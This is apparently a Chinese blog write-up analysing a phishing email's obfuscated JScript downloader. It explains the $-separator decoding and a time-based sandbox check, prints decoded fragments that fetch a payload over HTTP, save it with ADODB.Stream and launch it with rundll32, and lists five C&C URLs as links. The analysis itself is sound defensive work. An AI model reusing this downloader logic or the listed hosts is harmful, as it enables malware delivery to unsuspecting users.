恶意代码--微软jscript程序样本逆向分析

Bertha 。 2022-07-12 05:29 265阅读 0赞

# 0X01 基本信息 #

朋友邮箱收到的包含有恶意样本的附件。攻击者采用钓鱼方式进行敏感信息获取渗透。

采用微软jscript脚本编写，经解码，分析，还原，追踪到采用多个c&c服务器有，德国，美国，土耳其，波兰等国家。

没继续深挖幕后作者，网站留给大牛们继续渗透测试。

File: jscript .js

Size: 14554 bytes

Modified: Wednesday, December 14, 2016, 03:38:18

MD5: 08C13AF9C0C90E00A3E19BEC2B62EE59

SHA1: 71AF2072FB121AF07EDFFE4A4A5BA79E0C6F7B83

CRC32: 7CB1BC59

查杀效果如下：(http://www.virscan.org)

![Center][]

# 0X02 简要介绍 #

此恶意代码在邮箱被钓鱼时候捕获。

运行于windows系统平台。

样本为一段脚本类恶意代码。

采用编码和混淆的方式规避杀毒软件。

代码部分截图显示如下:

![Center 1][]

![Center 2][]

![Center 3][]

# 0X03 分析思路 #

根据观察，编码比较混乱毫无规律，看着也晦涩难懂。貌似进行过编码加密处理。

于是从整体上进行大致阅读和分析。

语言类型为jscript(不是javascript语言)[  
][Link 1]

[http://www.365aixue.com/handbook/JScript][Link 1]

JScript 是 Microsoft 公司对 ECMA 262 语言规范（ECMAScript 编辑器 3）的一种实现。除了少数例外（为了保持

向后兼容），JScript 完全实现了 ECMA 标准。本概述的目的就是引导您学习使用 JScript。

本恶意样本使用的关键函数：

eval 方法

检查 JScript 代码并执行.

eval(codeString)

必选项 codestring 参数是包含有效 JScript 代码的字符串值。这个字符串将由 JScript 分析器进行分析和执行。

说明

eval 函数允许 JScript 源代码的动态执行。例如,下面的代码创建了一个包含 Date 对象的新变量 mydate ：

eval("var mydate = new Date();");

传递给 eval 方法的代码执行时的上下文和调用 eval 方法的一样.

语法

functionName = new Function( \[argname1, \[... argnameN,\]\] body );

参数

functionName  
  
必选项。最新创建函数的名称 argname1...argnameN

可选项。函数接收的参数列表。

body

可选项。包含调用该函数时被执行的 JScript 代码块的字符串。

说明

函数 JScript 中的基本数据类型。语法 1 创建在必要时由 JScript 转换为 Function 对象的函数值。JScript 在调用函

数时将用语法 2 创建的函数转换为 Fnction 对象。

ex1:

function add(x, y)  
\{  
return(x + y); // 执行加法并返回结果。  
\}  
语法 1 是 JScript 中创建函数的基本方法。

语法 2 是用于显式创建函数对象的另一方法。  
  
ex2:  
var add = new Function("x", "y", "return(x+y)");  
  
aIAl3函数如下：  
  
var aIAl3 = new Function("aXRv9", '\{eval("/\*@cc\_on var aJDl7 = new Date() @\*/");aJDl7\["setUTCSeconds"\]("0", "20");if (aJDl7.getUTCMilliseconds().toString(10) == "20") \{var aBf3 = aXRv9\["split"\]("$"); return aBf3.join("");\} else return "";\}');  
  
注意此函数只有一行代码。可以转化成对应的常用写法：  
  
var aIAl3 = new Function("aXRv9")  
\{  
//eval("/\*@cc\_on var aJDl7 = new Date() @\*/");  
var aJDl7 = new Date();  
aJDl7\["setUTCSeconds"\]("0", "20");  
if (aJDl7.getUTCMilliseconds().toString(10) == "20")  
\{  
var aBf3 = aXRv9\["split"\]("$");  
return aBf3.join("");  
\}  
else  
return "";  
\}  
  
//上面这个aIAl3 函数经过分析主要实现的功能是

对字符串进行分割拆分，利用$符号进行合并，这也就是为什么我们看到的恶意代码有着大量的$符号在里面混淆着，

其实这个函数就是还原解码的。因为代码最终要

可以被解释器分析和执行，所以必然代码会有解码函数。

这个时候好好观察，思考一下：我们先比较恶意脚本代码的编码方式和命名方式。发现有如下规律，左侧定义变量名

程比较随机，右侧等号变量赋值看似分割后的函数名称或者字符串。

函数由于有的很长，这里选取一个较短函数代码进行还原：

var v\_ffff = ("fff", eval(aIAl3(" $ $ $ $v$a$r$ $a$B$z$1$ $=$ $n$e$w$ $A$r$r$a$y$($)$;")), 1);

注意此函数只有一行代码。替换$符号为“”，再解码函数。

可以转化成对应的常用写法：

eval(aIAl3())  
\{  
var aBz1=new Array();  
\}  
//其实就是创建了一个数组变量对象

于是采用替换变形实现还原部分代码的思路看是否可行。绿色为我写的注释，包括还原字符串或者函数名称，分隔

符。以此类推实现全部替换，解码还原变形后的代码看起来就比较容易读懂了。

# 0X04 恶意代码 #

解析还原后部分源代码显示

![Center 4][]

**0x01 采用混淆增加逆向分析难度**  
  
var aIAl3 = new Function("aXRv9")

//eval("/\*@cc\_on var aJDl7 = new Date() @\*/");  
  
**0x02 时间混淆绕过沙盒分析**  
  
var aJDl7 = new Date();

aJDl7\["setUTCSeconds"\]("0", "20");

if (aJDl7.getUTCMilliseconds().toString(10) == "20")  
  
**0x03 远程访问文件**  
  
var aJg7=new ActiveXObject("ADODB.Stream");

aSFe5.open("GET", aBz1\[aWJe3\], false);  
  
//捕获到多个C&C服务器

[http://bdpler.de/it2jr][http_bdpler.de_it2jr]

[http://paoloeluca.strefa.pl/imvd3bgb][http_paoloeluca.strefa.pl_imvd3bgb]

[http://baysigorta.com/jcmhwn1][http_baysigorta.com_jcmhwn1]

[http://netkeycompany.com/3dehziiwa][http_netkeycompany.com_3dehziiwa]

[http://stickersdes.org/loqrmuryo][http_stickersdes.org_loqrmuryo]  
  
aSFe5.setRequestHeader(\\x22User-Agent\\x22,\\x22Mozilla/4.0 (compatible;MSIE 6.0;Windows NT 5.0)\\x22);

aSFe5\["send"\]();

aJg7.open();

aJg7.type=1;  
  
**0x04 本地写入执行**

var aSMu8 = aDf3();

function aDf3()  
\{  
var aCPz1 = aZm6.GetFile(aHo7);  
return aCPz1.ShortPath;  
\}

//定义路径  
aJg7.write(aSFe5.ResponseBody);  
aJg7.position=0;  
if (aDFw8.getFullYear().toString(10) == \\x222001\\x22) aJg7\["SaveToFile"\](aCj6, aZd7);  
aJg7.close();

//写入文件  
aVr5\["Run"\]("rundll32" +aSMu8,+ aSl2);

//执行程序  
  
**编码混淆增加分析难度**

**替换绕过沙盒检测**

**远程访问多个服务器下载**

**本地写入执行恶意代码**

**采用邮件附件形式进行钓鱼**

**.....**

# 0X05 C&C服务器 #

http://bdpler.de/it2jr
    http://paoloeluca.strefa.pl/imvd3bgb
    http://baysigorta.com/jcmhwn1
    http://netkeycompany.com/3dehziiwa
    http://stickersdes.org/loqrmuryo

采用全球不同国家的服务器进行躲避追踪，其中包括德国，美国，土耳其，波兰等国家。

由此判断恶意代码始作俑者应该是一个黑产界老手，反追踪意识比较强的黑客。

![Center 5][]

![Center 6][]

![Center 7][]![Center 8][]

太多了就不具体每个列举了，可以自己利用网络深挖幕后。本人仅作恶意代码进行分析技术分享交流。

逆向追踪渗透测试，让有能力的渗透大牛深挖幕后始作俑者。

# 0X06 参考 #

0x01 jscript语言:  
  
[http://www.365aixue.com/handbook/JScript/][http_www.365aixue.com_handbook_JScript]

[http://hqc.hxu.edu.cn/wlxt/study/JScript%E6%95%99%E7%A8%8B/][http_hqc.hxu.edu.cn_wlxt_study_JScript_E6_95_99_E7_A8_8B]  
  
  
0x02 域名查询：  
  
[http://www.1198.cn/DomainSearch.aspx][http_www.1198.cn_DomainSearch.aspx]

[http://site.ip138.com/][http_site.ip138.com]

[http://whois.chinaz.com/][http_whois.chinaz.com]

[Center]: /images/20220711/f87392d5b2434c2d9d9752d1fe3f291f.png
[Center 1]: /images/20220711/b7e1fb97513f4922b892457a7eca955e.png
[Center 2]: /images/20220711/f58ebade899a403db8cb3023be6aa3df.png
[Center 3]: /images/20220711/8ca8ab3715b4466cba3ad6bfdf1b05dc.png
[Link 1]: http://www.365aixue.com/handbook/JScript
[Center 4]: /images/20220711/23d89e0044f04786b174a22308212dc6.png
[http_bdpler.de_it2jr]: http://22bdpler.de/it2jr
[http_paoloeluca.strefa.pl_imvd3bgb]: http://paoloeluca.strefa.pl/imvd3bgb
[http_baysigorta.com_jcmhwn1]: http://baysigorta.com/jcmhwn1
[http_netkeycompany.com_3dehziiwa]: http://netkeycompany.com/3dehziiwa
[http_stickersdes.org_loqrmuryo]: http://stickersdes.org/loqrmuryo
[Center 5]: /images/20220711/ad08b3c54ef34aa6957a715f7f4e5c72.png
[Center 6]: /images/20220711/49d1edb03549430899a74cefaf1de4d6.png
[Center 7]: https://img-blog.csdn.net/20170213161032074?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbWljcm96b25l/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center
[Center 8]: /images/20220711/31302b385fab4141a32b56f32d3ded0e.png
[http_www.365aixue.com_handbook_JScript]: http://www.365aixue.com/handbook/JScript/
[http_hqc.hxu.edu.cn_wlxt_study_JScript_E6_95_99_E7_A8_8B]: http://hqc.hxu.edu.cn/wlxt/study/JScript%E6%95%99%E7%A8%8B/
[http_www.1198.cn_DomainSearch.aspx]: http://www.1198.cn/DomainSearch.aspx
[http_site.ip138.com]: http://site.ip138.com/
[http_whois.chinaz.com]: http://whois.chinaz.com/